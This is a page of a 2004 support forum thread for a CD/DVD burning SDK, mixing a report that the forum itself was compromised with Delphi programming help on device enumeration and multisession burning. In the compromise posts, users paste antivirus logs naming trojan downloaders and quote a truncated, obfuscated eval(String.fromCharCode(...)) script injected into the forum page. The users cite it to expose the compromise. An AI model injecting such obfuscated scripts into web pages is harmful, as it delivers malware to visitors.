#1 Burning Software

It is currently Thu Dec 19, 2024 4:37 am

All times are UTC




Post new topic Reply to topic  [ 56 posts ]  Go to page Previous  1, 2, 3, 4  Next
Author Message
 Post subject: Re: out of topic
PostPosted: Tue Nov 23, 2004 11:45 am 
Offline
Site Admin

Joined: Tue Jan 13, 2004 12:14 pm
Posts: 40
bernard wrote:
maybe it is out of topic, but I am just curious, pleas forgive me if I was wrong.

I was noticed that probably your forum have been infected by a virus, after I opened this forum, my antivirus give me a warning about strange file *.dll at c:\windows\system32.

and if I open a new window, it will open a page like a commercial search engine.

I experienced this on two different computer.

once again, I am sorry if I was wrong.
thank you.


could you please give more information about this issue? The forum is standard PHP one and I cannot see any signs of it being infected or else how broken. What page are you trying to open exactly, what search engine you are getting opened and what message you're getting with your antivirus? Are you sure you do not have any adware installed (trojan)?

Artem


Top
 Profile  
 
 Post subject:
PostPosted: Tue Nov 23, 2004 1:01 pm 
Offline

Joined: Wed Sep 29, 2004 2:32 pm
Posts: 4
Location: Germany
Same problem with my AVK. :( I had no problems some weeks ago. I do not know, whether it is a real virus or something else.

translation german into english:

Virus gefunden = Virus found
Datei = file
Ordner = folder

23.11.2004 13:42 YVES: Virus gefunden
Virus: Trojan.Java.ClassLoader.i, Trojan.Java.ClassLoader.k (2x) (KAV-Engine)
Datei: ar3.jar-7ba4231d-3ade9922.zip
Ordner: C:\WINNT\Profiles\Administrator\Anwendungsdaten\Sun\Java\Deployment\cache\javapi\v1.0\jar

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: on-line[1].exe
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\UJQ94DUD

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[3].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[1].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\UJQ94DUD

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[4].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[3].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[4].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[3].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN

23.11.2004 13:41 YVES: Virus gefunden
Virus: Exploit.HTML.Mht (KAV-Engine)
Datei: 100006[1].htm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\MOZSU232

23.11.2004 13:41 YVES: Virus gefunden
Virus: Exploit.HTML.Mht (KAV-Engine)
Datei: 100006[1].htm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN


Yves


Top
 Profile  
 
 Post subject:
PostPosted: Tue Nov 23, 2004 2:49 pm 
Offline
Site Admin

Joined: Fri Jun 18, 2004 12:03 am
Posts: 4089
Location: British Virgin Islands
The problem is site engine is PHP-based and has nothing to do with JavaScript. From what I see you've been possibly infected by Java-based trojan in some other place (possibly b/s of the low secutiry level settings). Forum engine just "provocates" virus scanner. Is our site the only one resulting such a behaviour?

Yves wrote:
Same problem with my AVK. :( I had no problems some weeks ago. I do not know, whether it is a real virus or something else.

translation german into english:

Virus gefunden = Virus found
Datei = file
Ordner = folder

23.11.2004 13:42 YVES: Virus gefunden
Virus: Trojan.Java.ClassLoader.i, Trojan.Java.ClassLoader.k (2x) (KAV-Engine)
Datei: ar3.jar-7ba4231d-3ade9922.zip
Ordner: C:\WINNT\Profiles\Administrator\Anwendungsdaten\Sun\Java\Deployment\cache\javapi\v1.0\jar

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: on-line[1].exe
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\UJQ94DUD

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[3].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[1].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\UJQ94DUD

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[4].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[3].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[4].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN

23.11.2004 13:41 YVES: Virus gefunden
Virus: Trojan-Downloader.JS.Small.v, Trojan-Downloader.Win32.Agent.ew (KAV-Engine)
Datei: online[3].chm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN

23.11.2004 13:41 YVES: Virus gefunden
Virus: Exploit.HTML.Mht (KAV-Engine)
Datei: 100006[1].htm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\MOZSU232

23.11.2004 13:41 YVES: Virus gefunden
Virus: Exploit.HTML.Mht (KAV-Engine)
Datei: 100006[1].htm
Ordner: C:\WINNT\Profiles\Administrator\Local Settings\Temporary Internet Files\Content.IE5\S5IXAHCN


Yves


Top
 Profile  
 
 Post subject:
PostPosted: Tue Nov 23, 2004 3:33 pm 
Offline

Joined: Wed Sep 29, 2004 2:32 pm
Posts: 4
Location: Germany
Hi,

yes, your site is the only one with this behaviour. And we are 24/7 online :)

Btw. the virus alert comes only on the site

http://www.rocketdivision.com/forum

and the Javaicon (Java 2 Engine) was loaded, which is not loaded, if the site has only javascript embedded,


I took a look at the page and found this:

<script language='javascript'>eval(String.fromCharCode(100,111,99,117,109,101,11 ............. 114,97,109,101,62,34,41))</script>

which seem to be a virus ... :(

Yves


Top
 Profile  
 
 Post subject:
PostPosted: Tue Nov 23, 2004 7:06 pm 
Offline
Site Admin

Joined: Fri Jun 18, 2004 12:03 am
Posts: 4089
Location: British Virgin Islands
Well, it seems the site was really hijacked. Shame on our ISP. We'll fix the stuff ASAP and would remove this thread as out-of-topic. However we're really grateful you for your help! Thanks! :-)

Yves wrote:
Hi,

yes, your site is the only one with this behaviour. And we are 24/7 online :)

Btw. the virus alert comes only on the site

http://www.rocketdivision.com/forum

and the Javaicon (Java 2 Engine) was loaded, which is not loaded, if the site has only javascript embedded,


I took a look at the page and found this:

<script language='javascript'>eval(String.fromCharCode(100,111,99,117,109,101,11 ............. 114,97,109,101,62,34,41))</script>

which seem to be a virus ... :(

Yves


Top
 Profile  
 
 Post subject: back to topic
PostPosted: Wed Nov 24, 2004 6:13 am 
Offline

Joined: Fri Oct 15, 2004 3:44 am
Posts: 26
Location: Indonesia
I have something to ask

on your finddevice sample, I am adding a StarBurn_GetDeviceNameByDeviceAddress, to get drive letter.
then its stuck on procedure ZeroMemory, its says that something like unknown variable (@1__CHAR__DeviceName), but if I close it, it will run. after I compile and run it for second time, my computer get slower, after third time it freeze or error in memory.

please check my code. I use finddevice in a different unit that will pass a string to my main unit.
Code:
unit Unit4;

interface

uses Windows, SysUtils, StarBurn, SamplesTools, Messages;

function finddevice : string;

implementation

var kata : string;

Procedure FindCallback(
    Const p__CALLBACK_NUMBER : CALLBACK_NUMBER;
    Const p__PVOID__CallbackContext,
    p__PVOID__CallbackSpecial1,
    p__PVOID__CallbackSpecial2 : Pointer
    ) stdcall;

Var

    l__ULONG__Status : DWORD;
    l__CHAR__VendorID : Packed Array[ 1..1024 ] Of Char;
    l__CHAR__ProductID : Packed Array[ 1..1024 ] Of Char;
    l__CHAR__ProductRevisionLevel : Packed Array[ 1..1024 ] Of Char;
    l__CHAR__DeviceName : Packed Array[ 1..1024 ] Of Char;
    l__ULONG__BufferSizeInUCHARs : DWORD;
    l__PVOID__CdvdBurnerGrabber : Pointer;
    l__EXCEPTION_NUMBER : EXCEPTION_NUMBER;
    l__CHAR__ExceptionText : Packed Array[ 1..1024 ] Of Char;
    l__CDB_FAILURE_INFORMATION : CDB_FAILURE_INFORMATION;
    l__PSCSI_DEVICE_ADDRESS : PSCSI_DEVICE_ADDRESS;
    l__BOOLEAN__IsCDRRead,
    l__BOOLEAN__IsCDERead,
    l__BOOLEAN__IsDVDROMRead,
    l__BOOLEAN__IsDVDRRead,
    l__BOOLEAN__IsDVDRAMRead,
    l__BOOLEAN__IsTestWrite,
    l__BOOLEAN__IsCDRWrite,
    l__BOOLEAN__IsCDEWrite,
    l__BOOLEAN__IsDVDRWrite,
    l__BOOLEAN__IsDVDRAMWrite,
    l__BOOLEAN__IsDVDPLUSRWRead,
    l__BOOLEAN__IsDVDPLUSRRead,
    l__BOOLEAN__IsDVDPLUSRWWrite,
    l__BOOLEAN__IsDVDPLUSRWrite : Boolean;

Begin
    l__ULONG__Status := ERROR_GEN_FAILURE;
    l__ULONG__BufferSizeInUCHARs := 0;
    l__PVOID__CdvdBurnerGrabber := NIL;   

    // Process depending of callback number.
    Case p__CALLBACK_NUMBER Of

        // if this is FIND_DEVICE
        CN_FIND_DEVICE: Begin       

            // Prepare data buffer
            ZeroMemory(
                @l__CHAR__ExceptionText,
                sizeof( l__CHAR__ExceptionText )
                );

            l__PSCSI_DEVICE_ADDRESS := PSCSI_DEVICE_ADDRESS( p__PVOID__CallbackSpecial1 );

            // Start processing cleanup
            Try
                // Try to construct CD/DVD burner, passing 0 as cache size will make the toolkit allocate default amount
                // of cache memory
                l__EXCEPTION_NUMBER :=
                    StarBurn_CdvdBurnerGrabber_Create(
                        l__PVOID__CdvdBurnerGrabber,
                        PCHAR( @l__CHAR__ExceptionText[1] ),
                        sizeof( l__CHAR__ExceptionText ),
                        l__ULONG__Status,
                        @l__CDB_FAILURE_INFORMATION,
                        @SamplesCallback,
                        NIL,
                        l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__PortID,
                        l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__BusID,
                        l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__TargetID,
                        l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__LUN,
                        0 // == DEFAULT_CACHE_SIZE_IN_MBS
                        );

                // Check for success
                If l__EXCEPTION_NUMBER <> EN_SUCCESS Then Begin

                    // Get out of here
                    Raise Exception.Create('Error');
                End;

                //to get device name
                {ZeroMemory(
                    @1__CHAR__DeviceName,
                    sizeof(1__CHAR__DeviceName)
                    );}
                l__EXCEPTION_NUMBER :=
                    StarBurn_GetDeviceNameByDeviceAddress(
                       l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__PortID,
                       l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__BusID,
                       l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__TargetID,
                       l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__LUN,
                       PCHAR( @l__CHAR__DeviceName )
                       );

                // Prepare data buffers
                ZeroMemory(
                    @l__CHAR__VendorID,
                    sizeof( l__CHAR__VendorID )
                    );

                ZeroMemory(
                    @l__CHAR__ProductID,
                    sizeof( l__CHAR__ProductID )
                    );

                ZeroMemory(
                    @l__CHAR__ProductRevisionLevel,
                    sizeof( l__CHAR__ProductRevisionLevel )
                    );

                // Try to get CD/DVD burner information
                StarBurn_CdvdBurnerGrabber_GetDeviceInformation(
                    l__PVOID__CdvdBurnerGrabber,
                    PCHAR( @l__CHAR__VendorID[1] ),
                    PCHAR( @l__CHAR__ProductID[1] ),
                    PCHAR( @l__CHAR__ProductRevisionLevel[1] ),
                    l__ULONG__BufferSizeInUCHARs
                    );

                // Get CdvdBurnerGrabber device extended information
                StarBurn_CdvdBurnerGrabber_GetSupportedMediaFormats(
                    l__PVOID__CdvdBurnerGrabber,
                    l__BOOLEAN__IsCDRRead,
                    l__BOOLEAN__IsCDERead,
                    l__BOOLEAN__IsDVDROMRead,
                    l__BOOLEAN__IsDVDRRead,
                    l__BOOLEAN__IsDVDRAMRead,
                    l__BOOLEAN__IsTestWrite,
                    l__BOOLEAN__IsCDRWrite,
                    l__BOOLEAN__IsCDEWrite,
                    l__BOOLEAN__IsDVDRWrite,
                    l__BOOLEAN__IsDVDRAMWrite
                    );

                // Get CdvdBurnerGrabber device extended information for DVD+R(w)
                StarBurn_CdvdBurnerGrabber_GetSupportedMediaFormatsEx(
                    l__PVOID__CdvdBurnerGrabber,
                    l__BOOLEAN__IsDVDPLUSRWRead,
                    l__BOOLEAN__IsDVDPLUSRRead,
                    l__BOOLEAN__IsDVDPLUSRWWrite,
                    l__BOOLEAN__IsDVDPLUSRWrite
                    );

                //disini masukkan ke database

                                  kata := kata +'~'+ 'INSERT INTO tb_device VALUES ('+
                                          inttostr(l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__PortID)  +','+
                                          inttostr(l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__BusID)   +','+
                                          inttostr(l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__TargetID)+','+
                                          inttostr(l__PSCSI_DEVICE_ADDRESS^.m__UCHAR__LUN)     +','+
                                          quotedstr(PCHAR( @l__CHAR__VendorID[1]))            +','+
                                          quotedstr(PCHAR( @l__CHAR__ProductID[1]))           +','+
                                          quotedstr(PCHAR( @l__CHAR__ProductRevisionLevel[1]))+','+
                                          inttostr(l__ULONG__BufferSizeInUCHARs)     +','+
                                          YesNo[l__BOOLEAN__IsCDRRead]       +','+
                                          YesNo[l__BOOLEAN__IsCDRWrite]      +','+
                                          YesNo[l__BOOLEAN__IsCDERead]       +','+
                                          YesNo[l__BOOLEAN__IsCDEWrite]      +','+
                                          YesNo[l__BOOLEAN__IsDVDROMRead]    +','+
                                          YesNo[l__BOOLEAN__IsDVDRRead]     +','+
                                          YesNo[l__BOOLEAN__IsDVDRWrite]      +','+
                                          YesNo[l__BOOLEAN__IsDVDRAMRead]    +','+
                                          YesNo[l__BOOLEAN__IsDVDRAMWrite]   +','+
                                          YesNo[l__BOOLEAN__IsDVDPLUSRRead]  +','+
                                          YesNo[l__BOOLEAN__IsDVDPLUSRWrite] +','+
                                          YesNo[l__BOOLEAN__IsDVDPLUSRWRead] +','+
                                          YesNo[l__BOOLEAN__IsDVDPLUSRWWrite]+','+
                                          quotedstr(PCHAR( @l__CHAR__DeviceName))+')';

            Except
            End;
            // Check was CdvdBurnerGrabber allocated
            If l__PVOID__CdvdBurnerGrabber <> NIL Then

                    // Free allocated memory
                    StarBurn_Destroy( l__PVOID__CdvdBurnerGrabber );
        End;
    End; // Case
End; // Call-back function


function finddevice : string;
Var
  l__LONG__NumberOfCdvdDevices : LongInt;
  l__EXCEPTION_NUMBER : EXCEPTION_NUMBER;

Begin
  kata := '';

   // Try to initialize StarBurn
   l__EXCEPTION_NUMBER := StarBurn_UpStart();

  // Check for success
  if l__EXCEPTION_NUMBER <> EN_SUCCESS then
   begin

      // Get out of here
       Raise Exception.Create('Error');
   end;

    // Try to list all CD/DVD devices in the system
    l__LONG__NumberOfCdvdDevices :=
        StarBurn_FindDevice(
            SCSI_DEVICE_RO_DIRECT_ACCESS,
            FALSE,
            @FindCallback,
            NIL
            );

   // Uninitalize StarBurn, do not care about execution status
   StarBurn_DownShut();
    finddevice := kata;
end;
end.


and one thing, I download debugview from www.sysinternal.com, its work for version 4.1.0, but for version 4.7.3 it doesnt work, its only show few text.

thank you for your help.


Top
 Profile  
 
 Post subject: Re: back to topic
PostPosted: Wed Nov 24, 2004 7:43 am 
Offline

Joined: Mon May 31, 2004 6:22 am
Posts: 134
bernard wrote:
StarBurn_GetDeviceNameByDeviceAddress, to get drive letter.
then its stuck on procedure ZeroMemory, its says that something like unknown variable (@1__CHAR__DeviceName), but if I close it, it will run. after I compile and run it for second time, my computer get slower, after third time it freeze or error in memory.


Do you run it from Delphi GUI? Or as compiled application?

bernard wrote:
and one thing, I download debugview from www.sysinternal.com, its work for version 4.1.0, but for version 4.7.3 it doesnt work, its only show few text.


I think you are using Release DLL now. Please, use StarBurn.dll from Debug folder and you will get the same output.


Top
 Profile  
 
 Post subject: help
PostPosted: Wed Nov 24, 2004 10:20 am 
Offline

Joined: Fri Oct 15, 2004 3:44 am
Posts: 26
Location: Indonesia
I am using it for Delphi GUI, but I am using your finddevice on seperate unit. I erase all writeln() command, and the rest is alright and work well, except when I added StarBurn_GetDeviceNameByDeviceAddress() and its ZeroMemory(). I get the declaration by following other procedure and declaration variable I took from Manual.

But I have found the slowing problem, I just have to put starburn_upstart() and starburn_downshut() on main unit, and the problem reduced, but sometime it give an error
Quote:
access violation 0x???????, write address 0x??????.

or my computer freeze for a few seconds. because of that I have something to ask, does its okay if I call starburn_upstart only once when my program start and call starburn_downshut once when my program close, eventhough I do a lot of thing before I shut it, example blank cd, burn a session, etc.

If I was not wrong understanding your question :
Quote:
Do you run it from Delphi GUI? Or as compiled application?

is there a lot of different between Delphi GUI and compiled application, such as declaration or how to call procedure?

last question. I tried trackatoncefromtree sample and I have made some change based on your suggestion. first burn is perfect, but the second burn make the disc in unreadable. its like there is no cd inside my device.
first burn = 'trackatoncefromtree 0 0 0 0 c:\data 0 1'
second burn = 'trackatoncefromtree 0 0 0 0 c:\doc 0 1'
is the problem that I may not close session? or I cant do multisession adding data using trackatoncefromtree sample.

thank you.


Top
 Profile  
 
 Post subject: Re: help
PostPosted: Thu Nov 25, 2004 8:21 am 
Offline
Site Admin

Joined: Fri Jun 18, 2004 12:03 am
Posts: 4089
Location: British Virgin Islands
You *HAVE* to call initialization and deinitialization code only once. So just add UpStart() to program entry point and DownShut(...) to program exit point (last action performed).

Back to your original problem -- I think you're trashing a stack somewhere. But w/o seeing your source code it's hard to guess WHERE.

bernard wrote:
I am using it for Delphi GUI, but I am using your finddevice on seperate unit. I erase all writeln() command, and the rest is alright and work well, except when I added StarBurn_GetDeviceNameByDeviceAddress() and its ZeroMemory(). I get the declaration by following other procedure and declaration variable I took from Manual.

But I have found the slowing problem, I just have to put starburn_upstart() and starburn_downshut() on main unit, and the problem reduced, but sometime it give an error
Quote:
access violation 0x???????, write address 0x??????.

or my computer freeze for a few seconds. because of that I have something to ask, does its okay if I call starburn_upstart only once when my program start and call starburn_downshut once when my program close, eventhough I do a lot of thing before I shut it, example blank cd, burn a session, etc.

If I was not wrong understanding your question :
Quote:
Do you run it from Delphi GUI? Or as compiled application?

is there a lot of different between Delphi GUI and compiled application, such as declaration or how to call procedure?

last question. I tried trackatoncefromtree sample and I have made some change based on your suggestion. first burn is perfect, but the second burn make the disc in unreadable. its like there is no cd inside my device.
first burn = 'trackatoncefromtree 0 0 0 0 c:\data 0 1'
second burn = 'trackatoncefromtree 0 0 0 0 c:\doc 0 1'
is the problem that I may not close session? or I cant do multisession adding data using trackatoncefromtree sample.

thank you.


Top
 Profile  
 
 Post subject: Re: help
PostPosted: Thu Nov 25, 2004 8:25 am 
Offline
Site Admin

Joined: Fri Jun 18, 2004 12:03 am
Posts: 4089
Location: British Virgin Islands
Back to second question... Yes, you're using sample in the wrong way. You have to close session after adding data track if your next track would be also data (and not audio track for mixed mode CD or MPEG track for VideoCD).

bernard wrote:
I am using it for Delphi GUI, but I am using your finddevice on seperate unit. I erase all writeln() command, and the rest is alright and work well, except when I added StarBurn_GetDeviceNameByDeviceAddress() and its ZeroMemory(). I get the declaration by following other procedure and declaration variable I took from Manual.

But I have found the slowing problem, I just have to put starburn_upstart() and starburn_downshut() on main unit, and the problem reduced, but sometime it give an error
Quote:
access violation 0x???????, write address 0x??????.

or my computer freeze for a few seconds. because of that I have something to ask, does its okay if I call starburn_upstart only once when my program start and call starburn_downshut once when my program close, eventhough I do a lot of thing before I shut it, example blank cd, burn a session, etc.

If I was not wrong understanding your question :
Quote:
Do you run it from Delphi GUI? Or as compiled application?

is there a lot of different between Delphi GUI and compiled application, such as declaration or how to call procedure?

last question. I tried trackatoncefromtree sample and I have made some change based on your suggestion. first burn is perfect, but the second burn make the disc in unreadable. its like there is no cd inside my device.
first burn = 'trackatoncefromtree 0 0 0 0 c:\data 0 1'
second burn = 'trackatoncefromtree 0 0 0 0 c:\doc 0 1'
is the problem that I may not close session? or I cant do multisession adding data using trackatoncefromtree sample.

thank you.


Top
 Profile  
 
 Post subject:
PostPosted: Thu Nov 25, 2004 7:07 pm 
Offline

Joined: Fri Oct 15, 2004 3:44 am
Posts: 26
Location: Indonesia
Quote:
Back to your original problem -- I think you're trashing a stack somewhere. But w/o seeing your source code it's hard to guess WHERE.


OK, this is my full source code you can download from here :

http://john.petra.ac.id/~m26400121
or
http://mbone.petra.ac.id/~guile

please help me, I really need your help, I must finish it in one week.



Quote:
Back to second question... Yes, you're using sample in the wrong way. You have to close session after adding data track if your next track would be also data (and not audio track for mixed mode CD or MPEG track for VideoCD).


yes, I already close each session. if I was not wrong the last parameter is for closing session.

Quote:
first burn = 'trackatoncefromtree 0 0 0 0 c:\data 0 1'
second burn = 'trackatoncefromtree 0 0 0 0 c:\doc 0 1'


did I miss something?, because after second burn, my disc is undetectable by my device.

thanks


Top
 Profile  
 
 Post subject:
PostPosted: Thu Nov 25, 2004 8:02 pm 
Offline

Joined: Mon May 31, 2004 6:22 am
Posts: 134
bernard wrote:
please help me, I really need your help, I must finish it in one week.
thanks


I will check your sources... And will inform you about results


Top
 Profile  
 
 Post subject:
PostPosted: Thu Nov 25, 2004 11:10 pm 
Offline

Joined: Mon May 31, 2004 6:22 am
Posts: 134
Hi,

The freezing - it's not a problem under Windows 98. It takes some time to get parameters of the devices.

bernard wrote:
Quote:
first burn = 'trackatoncefromtree 0 0 0 0 c:\data 0 1'
second burn = 'trackatoncefromtree 0 0 0 0 c:\doc 0 1'
thanks


Please, send me the log from debug view. I would like to see what is wrong with your second session.

Bye.


Top
 Profile  
 
 Post subject: debug
PostPosted: Fri Nov 26, 2004 1:30 pm 
Offline

Joined: Fri Oct 15, 2004 3:44 am
Posts: 26
Location: Indonesia
Quote:
for information,
My PC spec is : Pentium IV 2.4C (hyperthreading),
single 512MB DDRAM,
Seagate Sata 80gb,
LG 52x32x52x
Windows 2000 Server service pack 4
Borland Delphi 7.



This is my experiment.


first blank CD-R :

I take the original trackatoncefromtree sample version 4.7.3, and Compile it.
'trackatoncefromtree.exe 0 0 0 0 c:\tk 0 1'
log file : http://john.petra.ac.id/~m26400121/first_burn_nothing.zip
result : its like there is no CD on device

I take the original closesession sample version 4.7.3, and Compile it.
'closesession.exe 0 0 0 0'
log file : http://john.petra.ac.id/~m26400121/first_burn_close_nothing.zip
result : its like there is no CD on device


second blank CD-R :

I edit trackatoncefromtree sample version 4.7.3, http://john.petra.ac.id/~m26400121/TAOFT_edit.zip

Code:
l__EXCEPTION_NUMBER :=
                StarBurn_ISO9660JolietFileTree_Add(
                    l__PVOID__ISO9660JolietFileTree,
                    PCHAR( @l__CHAR__ExceptionText[1] ),
                    sizeof( l__CHAR__ExceptionText ),
                    l__ULONG__Status,
                    PChar(ParamStr( 5 )),
                    PChar(nil), {change from --> PChar(l__String__NewRootName)}
                    FILE_TIME_LAST_WRITE,
                    l__PVOID__Root
                    );

   l__EXCEPTION_NUMBER :=
            StarBurn_ISO9660JolietFileTree_BuildImage(
                l__PVOID__ISO9660JolietFileTree,
                PCHAR( @l__CHAR__ExceptionText[1] ),
                sizeof( l__CHAR__ExceptionText ),
                l__ULONG__Status,
                l__TRACK_INFORMATION.m__LONG__NextWritableAddress,
                l__LONG__TreeLevel, //ISO9660_TREE_LEVEL
                TRUE,
                'Bernard',{change from --> 'Volume N1'}
                'TrackAtOnceFromTree.exe',
                'TrackAtOnceFromTree.exe'
                );


compile it, and first burn
'trackatoncefromtree.exe 0 0 0 0 c:\tk 0 1'
log file : http://john.petra.ac.id/~m26400121/edit_first_burn_nothing.zip
result : its like there is no CD on device

using original closesession sample version 4.7.3,
'closesession.exe 0 0 0 0'
log file : http://john.petra.ac.id/~m26400121/edit_first_burn_close_nothing.zip
result : its like there is no CD on device

using edited trackatoncefromtree sample 4.7.3, and second burn
'trackatoncefromtree.exe 0 0 0 0 c:\sidhayta 0 1'
log file : http://john.petra.ac.id/~m26400121/edit_second_burn_well.zip
result : folder sidhayta with all its file and subfolder was there, but there is no file from first burn (folder TK)

using edited trackatoncefromtree sample 4.7.3, and third burn
'trackatoncefromtree.exe 0 0 0 0 c:\petras 0 1'
result : folder petras with all its file and subfolder was there, but there is no file from first and second burn (folder TK and sidhayta)

using edited trackatoncefromtree sample 4.7.3, and fourth burn
'trackatoncefromtree.exe 0 0 0 0 e:\project 0 1'
log file : http://john.petra.ac.id/~m26400121/edit_fourth_burn_well.zip
result : folder project with all its file and subfolder was there, but there is no file from first, second and thirdburn (folder TK, sidhayta and petras)

I hope you can help me. thank you.


Top
 Profile  
 
 Post subject: Re: debug
PostPosted: Fri Nov 26, 2004 8:17 pm 
you dont use import session example and overwriting old data

and you use extra parameter to trackatonce code

maybe they are the reasons?

bernard wrote:
Quote:
for information,
My PC spec is : Pentium IV 2.4C (hyperthreading),
single 512MB DDRAM,
Seagate Sata 80gb,
LG 52x32x52x
Windows 2000 Server service pack 4
Borland Delphi 7.



This is my experiment.


first blank CD-R :

I take the original trackatoncefromtree sample version 4.7.3, and Compile it.
'trackatoncefromtree.exe 0 0 0 0 c:\tk 0 1'
log file : http://john.petra.ac.id/~m26400121/first_burn_nothing.zip
result : its like there is no CD on device

I take the original closesession sample version 4.7.3, and Compile it.
'closesession.exe 0 0 0 0'
log file : http://john.petra.ac.id/~m26400121/first_burn_close_nothing.zip
result : its like there is no CD on device


second blank CD-R :

I edit trackatoncefromtree sample version 4.7.3, http://john.petra.ac.id/~m26400121/TAOFT_edit.zip

Code:
l__EXCEPTION_NUMBER :=
                StarBurn_ISO9660JolietFileTree_Add(
                    l__PVOID__ISO9660JolietFileTree,
                    PCHAR( @l__CHAR__ExceptionText[1] ),
                    sizeof( l__CHAR__ExceptionText ),
                    l__ULONG__Status,
                    PChar(ParamStr( 5 )),
                    PChar(nil), {change from --> PChar(l__String__NewRootName)}
                    FILE_TIME_LAST_WRITE,
                    l__PVOID__Root
                    );

   l__EXCEPTION_NUMBER :=
            StarBurn_ISO9660JolietFileTree_BuildImage(
                l__PVOID__ISO9660JolietFileTree,
                PCHAR( @l__CHAR__ExceptionText[1] ),
                sizeof( l__CHAR__ExceptionText ),
                l__ULONG__Status,
                l__TRACK_INFORMATION.m__LONG__NextWritableAddress,
                l__LONG__TreeLevel, //ISO9660_TREE_LEVEL
                TRUE,
                'Bernard',{change from --> 'Volume N1'}
                'TrackAtOnceFromTree.exe',
                'TrackAtOnceFromTree.exe'
                );


compile it, and first burn
'trackatoncefromtree.exe 0 0 0 0 c:\tk 0 1'
log file : http://john.petra.ac.id/~m26400121/edit_first_burn_nothing.zip
result : its like there is no CD on device

using original closesession sample version 4.7.3,
'closesession.exe 0 0 0 0'
log file : http://john.petra.ac.id/~m26400121/edit_first_burn_close_nothing.zip
result : its like there is no CD on device

using edited trackatoncefromtree sample 4.7.3, and second burn
'trackatoncefromtree.exe 0 0 0 0 c:\sidhayta 0 1'
log file : http://john.petra.ac.id/~m26400121/edit_second_burn_well.zip
result : folder sidhayta with all its file and subfolder was there, but there is no file from first burn (folder TK)

using edited trackatoncefromtree sample 4.7.3, and third burn
'trackatoncefromtree.exe 0 0 0 0 c:\petras 0 1'
result : folder petras with all its file and subfolder was there, but there is no file from first and second burn (folder TK and sidhayta)

using edited trackatoncefromtree sample 4.7.3, and fourth burn
'trackatoncefromtree.exe 0 0 0 0 e:\project 0 1'
log file : http://john.petra.ac.id/~m26400121/edit_fourth_burn_well.zip
result : folder project with all its file and subfolder was there, but there is no file from first, second and thirdburn (folder TK, sidhayta and petras)

I hope you can help me. thank you.


Top
  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 56 posts ]  Go to page Previous  1, 2, 3, 4  Next

All times are UTC


Who is online

Users browsing this forum: Google [Bot] and 41 guests


You cannot post new topics in this forum
